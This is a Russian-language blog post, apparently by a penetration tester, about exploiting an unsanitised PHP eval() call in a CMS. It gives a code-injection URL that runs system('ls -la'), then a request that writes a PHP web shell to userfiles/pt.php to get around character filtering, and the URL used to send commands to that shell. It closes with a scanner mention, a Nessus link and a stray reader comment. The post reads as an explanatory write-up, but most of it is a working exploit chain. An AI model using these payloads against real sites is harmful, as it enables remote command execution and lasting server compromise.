На этапе проведения сканирования, в поле зрения попало следующее сообщение об ошибке:
Уязвимый код (полученный по окончании работ):
...
if($_CONFIG["STATUS"]) eval(mkPHPeval($TMP));
...
Из сообщения об ошибке отчетливо прослеживается, что в функцию eval() попадают данные без предварительной обработки. Данная функция пхп оценивает передаваемую в нее строку как PHP-код. Причем, достаточно часто я встречаюсь с ее использованием в различных CMS. В общем, эксплуатируется подобная уязвимость следующим образом:
http://victim/?id=";system("ls%20-la");%20"
Можно было бы предположить, что имея возможность выполнения команд на сервере через уязвимость в этой функции проблем с получением полноценного web-shell’а возникнуть не должно. Однако, в моем случае фильтрация некоторых символов все-таки осуществлялась (фильтровались знаки перенаправления и объединения потоков). Поэтому был составлен запрос следующего вида:
http://victim/?id=";$ha=fopen(substr("userfiles/pt.php",0,16),"w");fwrite($ha,$_GET[write]);%20"&write=<?system($_GET[cmd]);?>
И после успешного выполнения запроса был получен наколенный web-shell без какой либо фильтрации передаваемых к нему символов:
http://victim/userfiles/pt.php?cmd=ls
К слову, в настоящее время XSpider отлавливает подобного рода уязвимости в функции eval(). А для того, чтобы избежать их появления, и появления прочих, не менее опасных уязвимостей в Web, можно воспользоваться рекомендациями, приведенными в этом разделе.
http://www.nessus.org/plugins/index.php?view=single&id=39482
ОтветитьУдалитьулыбнуло:))